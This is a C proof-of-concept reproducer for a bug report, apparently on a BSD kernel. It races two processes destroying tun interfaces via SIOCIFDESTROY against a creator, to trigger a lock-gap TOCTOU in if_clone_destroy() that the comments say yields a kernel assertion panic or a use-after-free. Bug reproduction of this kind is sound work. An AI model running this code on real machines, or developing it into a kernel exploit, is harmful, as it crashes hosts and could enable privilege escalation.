DF-3414 / race_clone.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-3414 -- if_clone_destroy() lookup/act TOCTOU. * * sys/net/if_clone.c:104-135: * ifnet_lock(); * ifp = ifunit(name); <-- lookup under lock * ifnet_unlock(); <-- lock RELEASED * ... (if_clone_lookup, minifs checks) ... * ifnet_lock(); * if_clone_free_unit(ifc, unit); <-- acts on the stale ifp * error = ifc->ifc_destroy(ifp); * ifnet_unlock(); * * Two concurrent destroyers of the same unit both pass the lookup * before either finishes teardown; the second one double-clears the * clone bitmap -> KKASSERT "if_clone_free_unit: bit is already * cleared" fires on INVARIANTS kernels (this guest), and on production * kernels it proceeds to ifc->ifc_destroy() on an already-freed ifnet * (use-after-free). * * This reproducer keeps the tun cdev side OUT of the picture: units are * created with SIOCIFCREATE and destroyed with SIOCIFDESTROY only, so * the only race is destroyer-vs-destroyer inside if_clone_destroy(). * * Build: cc -O2 -o race_clone race_clone.c Run as root: ./race_clone <sec> */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <net/if.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <signal.h> #include <unistd.h> static int rtsock; static int ifop(const char *name, unsigned long op) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); return ioctl(rtsock, op, &ifr); } int main(int argc, char **argv) { long seconds = argc > 1 ? atol(argv[1]) : 60; time_t end = time(NULL) + seconds; pid_t d1, d2; long creates = 0, destroys = 0; if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); } rtsock = socket(AF_ROUTE, SOCK_RAW, 0); if (rtsock < 0) { perror("route socket"); return (1); } setvbuf(stdout, NULL, _IONBF, 0); printf("racing two SIOCIFDESTROY destroyers on tun0..tun15 for %lds " "(creator keeps units alive)\n", seconds); d1 = fork(); if (d1 == 0) { /* destroyer 1 */ for (;;) { int u; for (u = 0; u <= 15; u++) { char n[16]; snprintf(n, sizeof(n), "tun%d", u); if (ifop(n, SIOCIFDESTROY) == 0) { /* counted by parent proxy */ } } } _exit(0); } d2 = fork(); if (d2 == 0) { /* destroyer 2 */ for (;;) { int u; for (u = 15; u >= 0; u--) { char n[16]; snprintf(n, sizeof(n), "tun%d", u); ifop(n, SIOCIFDESTROY); } } _exit(0); } /* parent: creator -- keep recreating units so destroyers always * have a live target to race on */ while (time(NULL) < end) { int u; for (u = 0; u <= 15; u++) { char n[16]; snprintf(n, sizeof(n), "tun%d", u); if (ifop(n, SIOCIFCREATE) == 0) creates++; } usleep(2000); } kill(d1, SIGKILL); kill(d2, SIGKILL); wait(NULL); wait(NULL); printf("creator made %ld units; racing done (no panic = race not hit)\n", creates); return (0); } |